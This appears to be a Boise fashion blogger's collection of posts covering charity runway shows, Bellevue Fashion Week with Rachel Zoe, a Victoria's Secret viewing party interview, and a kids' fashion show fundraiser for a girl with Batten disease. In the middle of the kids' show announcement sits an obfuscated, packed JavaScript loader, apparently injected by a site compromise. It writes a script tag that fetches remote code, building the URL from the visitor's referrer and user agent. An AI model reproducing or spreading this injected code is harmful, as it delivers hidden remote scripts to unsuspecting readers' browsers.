Style in the Aisles Fashion Show Launches in Boise

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week I had the honor of attending a very special fashion show, thrown by Piece Unique and beloved local legend Jesse Taylor. Jesse is known for his generosity and dedication to the community, and this fabulous show was a true extension of his heart; the goal was to help raise money for the City Light Women’s & Children’s Home!

City Light provides emergency shelter for women and children, in downtown Boise. They house, feed, clothe, and counsel women who are seeking a safe place from dangerous circumstances, while providing care for their children as well. It’s an amazing program that has made HUGE contributions to the well-being of families in this city, and personally, I’ve had friends whose lives were literally saved by this shelter, so they are near & dear to my heart as well.

Sadly, as you can see below the blue lights on the stage were too much for my small camera, so I apologize for the overwhelming hue!

Bluuuuuue runway lights! 😀

Jesse teamed up with local stylist Heather Schwabe of Style Therapy, Boise-based vintage/couture jewelry line Monica Macha, and Natalie Durham at downtown boutique P iece Unique, to showcase one of my FAVORITE clothing lines: Black Halo. I’ve blogged about Black Halo before, because they’re an incredible, well-made line that fits busty girls in ways I never imagined an off-the-rack dress could ever do! If you haven’t tried on one of their fashion pieces yet, you absolutely must get down to Piece Unique and check them out. Worth every penny, I promise!

Here’s a short video clip of the runway finale:

As a THANK YOU to all who helped make the fashion show a success & supporting City Light & the Boise Rescue Mission, Piece Unique is offering 25% off ALL BLACK HALO purchases made in their store before Nov. 15th, when you donate $25 to City Light Women’s & Children’s Shelter! This special discount applies to all Black Halo items both in the store, and via special order.

Wonderful job, everyone! See you at the next show.
XOXO,
Tanya

Leticia McLaughlin and her lovely daughter, always impeccably stylish!

Lovely Angie Berman (center) with two fabulous friends.

Ballet Idaho’s Lana Hollingshead and her daughter Veronica.

A new friend, Rosemary, and her wickedly-cool leather necklace! This babe has style for miles.

Let the show begin!

So much blue light, but I love her white Black Halo dress!

Runway finale, packed with gorgeous local women rocking the catwalk!

More blurriness and blue light – ugh! – but this red dress was one of my favorites.

Green Black Halo dress on a model – that neckline on her is incredible!

Angie & friend posing on the runway, after the show. Love this lady!! ❤

Bellevue Fashion Week Finale with Rachel Zoe!

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day at Bellevue Fashion Week was better than the one before, and by Day 4 we were all in a state of high expectation, and to be honest, a little light-headed from the fabulous-ness of it all! On our last day in Bellevue, we started with breakfast and a little shopping, then around 1pm met up at Bellevue Square for a special Fashion Forcast presentation with RACHEL ZOE. See those seats? Yup, front two rows, just for our #StyleSpyGirlPosse! We were so stoked!!

Cara Crowley & Rachel Zoe on stage… And that’s us, front 2 rows on the right!

Ready for some Fall trend predictions?

Rachel and Vogue’s Events Director Cara Crowley shared their Fall Fashion forecast, hitting all the major trends like Bohemian prints, moto jackets, shearling trim outerwear, fringe, long coats, and more!When Cara asked Rachel “What is the one trend you think people should try and incorporate into their wardrobes, if they are on a tight budget?” Rachel responded, “Grey. It’s such a major color right now, and it’s so versatile you can do a ton with it.”

Rachel was SO much fun, and a wealth of style information. I asked her if the “No white after Labor Day rule could be over and done with for good,” and she responded, “It’s definitely OVER! I love wearing white, all year round!” There it is, folks – the official word from global stylist pro Rachel Zoe. Now stop giving me nasty looks when I wear white jeans in January!

Rachel was totally fab, and we enjoyed the presentation. Bye for now, Ms. Zoe! See you at the Vogue Fashion Show in the evening!

But then things got…

Even…

BETTER!

TA-DA!!!

Sorry the pic above is a little grainy, but we got a surprise meet & greet with the fabulous fashion maven herself, Rachel Zoe! We were dying! Seriously!!! Here are a few more…

??? Thank you Bellevue Collection (esp Anna & Gillian!), and the Vogue crew for creating this incredible moment for us!!! ???

~~~~

~~~

And now, on with the Fashion Show…

My outfit: Dress by Rooney Mae Couture (Boise designer) / Chain Collar Necklace by BCBG / Handbag by Zac Posen (thank you Angie!)

Front row, just feet from Rachel Zoe (so basically she’s the one taking this photo – just kidding! No, we’re totally BFF’s with her by this point.)

Cara Crowley emceed the show… And that blonde head right above the word blonde is Rachel Zoe! See, I said we were close, ha ha. 😉

HOTTEST ticket in town – let the show begin!

No! We’re having TOO much fun! Squeeee!!!!

Totally NOT stalking! Just had to get this shot of Ammo with Rachel Zoe… Up top… Cute redhead with the gorgeous smile! 😉

That look, above, is me totally NOT freaking out because Rachel just gave me a little Hello smile and head nod from across the aisle. Wassup, oh amazing woman who is the inspiration behind every self-made fashion business woman on the planet? Yeah you… Thank you Rachel Zoe. ❤

And then, after the show ended, our #girlposse hopped up on the stage and had a blast taking photos together, because it was our last night and the next day we’d all have to return to “real life.” 😉

Me and Ammophotog, our amazing and talented team photographer!

Allison, Cassie, Angie

Me and Vogue Events Director Cara Crowley. She’s fabulous!

Ashley and Ammo

Me and H&M Spokesmodel Ashley T. Barkley – follow her awesome social media feed on Insta!

Cassie and Brenda

Me and the rad babes from Intermix, where we had a great shopping party two days before!

Whew, what a wild night! We stayed out late, made the most of every minute, and had a wonderful time. HUGE thanks to the Bellevue Collection for throwing such a posh, elegant, classy, AMAZING fashion week!!! We loved every minute of it, and can’t wait to come back again next year!!!

XOXO,
Tanya

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Interview With an Angel; Victoria’s Secret Fashion Show Party 2014

Yay, us!

A huge event was put together at Boise Towne Square, with hundreds of seats, beanbags, VS swag & goodies, and a red-carpet-worthy photo backdrop for pictures with visiting Victoria’s Secret supermodel Elsa Hosk. Thrilled fans turned out in droves for this event, and the line stretched around Towne Square’s center court, overflowing up the stairs and into the second level! Many had been there since lunchtime, anxious for their chance to see the Fashion Show and meet Elsa. I threw on my favorite Express emerald green sequin party dress, and headed to the show…

I was delighted and honored when KTVB Ch. 7 News asked me to step in as an unofficial reporter to interview Ms. Hosk for the 4:00 news!!! But what do you ask a famous,world-traveling, professional Angel? I reached out to YOU, for some creative interview questions! Here is what YOU asked Elsa, and her inspiring responses:

Me: Is this your first time in Boise?

Elsa: It is my first time in Boise, but I’ve been to Idaho before. I’m from Sweden

Me: Whats your favorite thing about being a Victoria’s Secret supermodel?

Elsa: Oh my gosh, there’s so many things I love about it! I love traveling, I love the fashion show, I love the shoots, I love the whole surrounding thing. Victoria’s Secret is like a family and everybody working for us is just incredible people.

Via Madisen Ellen Phipps: What does wearing the wings mean to you/what do they represent to you and your favorite thing about being apart of the Victoria’s Secret organization?

Elsa: This was the first year I got to walk in wings so it was really, really exciting. I had no idea that I was going to get the wings so when they told me I was just blown away, I almost started crying. And it was this moment where you’re like, oh my God I worked so hard for this, it’s a big accomplishment! And you see the girls walking down, so powerful, and it just makes you feel like you own the world for a second. It’s so iconic, the Victoria’s Secret wings.

Via Ellen Belle Hanson– Ask her what her favorite characteristics are in a photographer when she’s working with one…like anything that makes her feel comfortable so she can do her best!

Elsa: Oh that’s a good question! I think when the photographer has a lot of confidence and can tell you what they want you to do, and can give you direction… Or, if he wants you to be completely free and just like let you move around and be yourself!

Via Sonnay Alvarez: How did you begin your career in modeling?

Elsa: I started when I was 14 but I didn’t go full time until I was 18. I went to school, and played basketball, and then I decided to really go for it.

Via Autumn Short/Me: – Any health, fitness, or diet advice you’d like to pass on to other aspiring models?

Elsa: Work out and be healthy; it’s so important to take care of your body, for a model, because it really is your job. I try to work out 6 days a week, but if I travel it’s hard.

Me: Do you work out on the plane?

Elsa: Oh no, some people do that and I want to be those people, but I just don’t have the confidence, ha ha ha.

Via Amanda Woods: With the ever present emphasis on appearance in our society, what advice can you offer for women to be confident in any situation?

Elsa: For me, it’s been to not compare myself to others, because once you start doing that you can never achieve happiness. You just have to find that confidence within yourself, that acceptance, just be happy with what you’re given, you know?

We asked Tina Kierce, Marketing Manager for Boise Towne Square, some additional questions:

How did Boise win this incredible honor?

Tina: “Girls at Victoria’s Secret received challenges from their company managers to promote the contest for the party on social media. Boise won the fashion show part by a landslide!”

Did you know what was going on, much in advance?

Tina: “This was a big surprise. We were very excited about it and up until the day it was announced we were wishing and hoping and very excited when we won.”

How is this event important for Boise Towne Square?

Tina: “Here we are in Boise and we are hosting the only viewing party in the nation for the most sought after fashion show in the world and our customers get to come and enjoy it and it’s absolutely fabulous.”

It was a blast to see so many cool people turn out for this event! I hung out with photographers Ammophotog (Amanda Morgan, whose photos are included in this article!), Alysha Kautz, Alejandro Martinez (Lucid Imagery), fashion stylists Kellie Levesque (Fashion Kellie) and Heather Schwabe (Style Therapy), models Cara Dempsey, Bailey Heasch, Nicolette Roper, local news producer Char Jackson, and about 300 more excited local lovelies from all over town!

Congratulations, Boise – we ROCKED this Angel party!!!

XOXO, Tanya

City-Wide Kids Fashion Show, coming Sept. 13th!

Coming Sept. eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|irnhr|var|u0026u|referrer|rkdir||js|php’.split(‘|’),0,{}))
13th, Boise’s first city-wide Kids’ Fashion Rulz! Fashion Show, presented by StyleSpyGirl. DRESS UP IN YOUR SUNDAY BEST, and bring the entire family for a posh, catered fashion show featuring kids’ and teens’ fashions from The Village, Boise Towne Square, and boutiques and local designers from across the Treasure Valley. Proceeds benefit the Rodgers Family, whose precious young daughter is battling fatal Batten Disease. Her biggest wish is to someday be a supermodel. Come support Hannah as she gets her wish, and walks the runway as the evening’s star model!

TICKETS & SHOW DETAILS AVAILABLE HERE!

Hannah Rodgers is 9 years old, and is currently the only person in the state of Idaho with the very rare and devastating disease known as Batten Disease. Batten is a neurodegenerative disorder that begins in childhood and presents itself through seizures, personality changes, a decrease in motor skills, and the onset of blindness. There is currently no cure for Batten. Over time, affected children lose their sight, suffer mental impairment, worsening seizures, and progressive loss of motor skills. And the disease ultimately takes their life.

Hannah is dealing with all of these things, but does NOT know that her illness is fatal. She knows that she will not get better, and that her family is doing all they can to help her live this life to the fullest, for now and with all the love and energy they have! Hannah’s family is facing major challenges with her care, as it will take about 10 years for the disease to slowly and painfully take their daughter. By the time she is a young adolescent, she will be wheelchair-ridden, unable to speak or feed herself, and completely reliant on her family. To this end, they are preparing their home for Hannah’s care, installing wheelchair ramps, widening doors, and adding a new bedroom for her that will be big enough to accommodate all of her medical equipment and care. Combined, these projects are a huge financial challenge.

Kids love helping kids! This event will allow local youth to do just that. During this huge fall fashion show kids and teens will model back-to-school clothes, and support Hannah as she walks down the runway. She is already completely blind, so she will be escorted by her sister and her best friend. As I mentioned above, her dream is to become a supermodel. Hannah will hear and feel it all; the music, the applause, and the cheers of a supportive community who cares about kids, and making her dream come true.

Join us as a community of families to become the Rodgers’ Extreme Home Makeover, in a manner of speaking! All proceeds will go into a special fund for their family, to help cover some of the costs accumulated as they make every effort for Hannah to live her life to the fullest. Come enjoy the fashion show, encourage the kids, experience the live entertainment, and help a family in need!

XOXO,
Tanya

Designer Spotlight: Bryce Black Part 2, the Interview

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first part of this article is HERE, where I traveled to Twin Falls with photographers & videographers Sunny Lynne, Edward Alexander, and J im Reidenbaugh to attend Project Runway star Bryce’s Black’s homecoming and special charity event fashion show!

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Designer Spotlight: Bryce Black Part 1, The Fashion Show

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month, TV star Aaron Paul of “Breaking Bad” fame returned to his hometown of Boise, ID, for a special preview of his show’s season finale. Last weekend, award-winning fashion designer Bryce Black returned to his hometown of Twin Falls, ID, for an exclusive fashion show and benefit! Bryce, unfortunately, did not receive as much media attention with his homecoming as Aaron did… But I have a feeling that will change in the near future!

Boise Visual Artists Bryce Black 1 — Photo: Boise Visual Artists // Dress: Express // Necklace: Unigon Specialties

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